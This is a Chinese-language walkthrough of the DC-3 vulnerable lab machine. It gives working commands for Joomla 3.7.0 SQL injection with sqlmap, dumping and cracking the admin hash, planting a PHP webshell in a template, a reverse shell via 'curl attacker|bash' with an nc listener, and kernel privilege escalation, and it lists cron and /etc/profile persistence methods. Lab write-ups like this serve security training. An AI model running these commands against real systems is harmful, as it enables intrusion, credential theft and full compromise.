一、下载靶机DC-3,解压后导入Vmware Workstation
https://pan.baidu.com/s/17BcSH6RqC7wuyB7PRNqOow?pwd=kc12
启动DC-3靶机,由于不知道密码,无需登录
二、靶机的网卡采用的是NAT模式自动获取IP地址,此时我们需要先获取其MAC地址。
三、因为DC-3与kali攻击机在同一个网段,在kali攻击机中利用nmap
获取本网段的主机信息,根据MAC地址比对来获取DC-3的IP地址。我的kali系统所在网段为192.168.2.0/24,利用如下命令获取本网段的主机信息
nmap -sP 192.168.2.0/24
根据扫描结果进行比对,可知DC-3靶机的IP地址为192.168.2.5
进一步利用nmap
工具对靶机进行端口扫描,以此获取靶机开放的端口及提供的服务
nmap -A 192.168.2.5 -p 1-65535 -oN nmap.DC3
由图可知,靶机的80端口处于开放状态,尝试使用浏览器进行访问
四、利用whatweb工具对web进行指纹识别
Web指纹定义:Web指纹是一种对目标网站的识别技术,通过识别网站所使用的服务器、运行的脚本、安装的CMS等信息对目标进行精准的分类和定位。Web指纹识别可以帮助我们在安全测试中快速了解目标网站的基本信息,有助于搜索其相关漏洞。
whatweb http://192.168.2.5
由图可知,该站点是一个Joomla站点,因此我们可以使用JoomScan 命令行工具识别 Joomla网站中的潜在安全漏洞。通过扫描 Joomla 系统组件、插件、模块等,检查是否存在已知的易受攻击的版本。
joomscan --url http://192.168.2.5
从图中可知,扫描出了网站的目录结构以及后台地址
用浏览器打开其后台地址
我们还可以知道网站使用的是Joomla 3.7.0版本的模板,因此我们查找一下网站模板Joomla 3.7.0存在哪些漏洞,便可加以利用
由此可知该网站存在sql注入的漏洞
将漏洞相关信息拷贝到当前目录
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomalv370_sqli.txt
cat joomalv370_sqli.txt
五、有了以上信息后,我们便可利用SQLMAP工具进行注入,获取我们想要的信息
(1)列出数据库库名
sqlmap -u "http://192.168.2.5/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
(2)列出当前数据库库名
sqlmap -u "http://192.168.2.5/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]
由图可知当前的数据库名是joomladb
(3)列出joomladb数据库的表名
sqlmap -u "http://192.168.2.5/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
(4)列出user表的字段及类型
sqlmap -u "http://192.168.2.5/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
(5)列出账号密码
sqlmap -u "http://192.168.2.5/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
新建一个文档,并将获取到的密文密码放入其中,再利用解密工具解密
密码密文$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
vi joomlav370_admin_hash.txt
利用解密工具进行解密
john joomlav370_admin_hash.txt
获得密码明文为snoopy
此时,我们利用账号密码登录后台
仔细观察后发现该目录下有一个beez3的模板
进入之后,发现有目录,还可以编辑文件,因此可以考虑上传木马
要上传木马,我们先要找到当前文件所在的目录
新建一个yjh.php文件,并加入以下内容
然后对该页面进行访问,成功执行
使用中国蚁剑进行连接
六、反弹shell
首先了解下正向和反向链接
从一台hacker机器上直接链接被控机器,为正向链接;正向链接需要监听被控机器得端口开启情况,如果开启了端口,那么我就可以区连接被控得机器。
(1)在一台机器上被监听了端口,当被监测到端口开启后会发起向另外一台hacker机器远程链接得请求。
(2)但是目标主机处于内网环境是不可以被外网直接访问,只能主动将shell反弹出来.这种方式称作反弹shell,反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端,本质上是网络概念的客户端与服务端的角色反转。通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
比如:
1.目标机器的ip动态改变,你不能持续控制。(只要对方的ip地址一换,权限就会丢失)
2.由于防火墙等限制,对方机器只能发送请求,不能接收请求。(攻击者发往目标机器的命令,被防火墙拦截无法执行,但目标机器在本地执行命令输出到攻击机器则不会受影响)
以上,这些情况下都没有办法使用常规的正向连接,让受害机器主动连接攻击机器,才是最佳的办法。
反弹shell是指控制端监听某个TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出传递到控制端的过程。
reverse shell与telnet、ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。
常见的反弹shell的方法
利用netcat反弹shell
利用Bash反弹shell
Curl配合Bash反弹shell
将反弹shell的命令写入定时任务
将反弹shell的命令写入/etc/profile文件
利用Socat反弹shell
利用Telnet反弹shell
各种脚本反弹shell
Python 脚本反弹shell
php 脚本反弹shell
Perl 脚本反弹shell
Ruby脚本反弹shell
使用Metasploit生成反弹shell用的一句话
这里我采用curl配合bash反弹shell
(1)首先在kali攻击机器上安装apache2,并在其目录下新建index.html文件
apt-get install apache2
cd /var/www/html
kali 端开启监听本地2333端口
nc -lvvp 2333
(2)靶机端输入如下命令
curl 192.168.2.10|bash
成功反弹shell
七、提权
前面可知道,靶机当前的系统为ubuntu 16.04
下载提权脚本后上传至靶机
<emplates/beez3/39772/ebpf_mapfd_doubleput_exploit$ ./compile.sh
<emplates/beez3/39772/ebpf_mapfd_doubleput_exploit$ ./doubleput
提权成功,下期见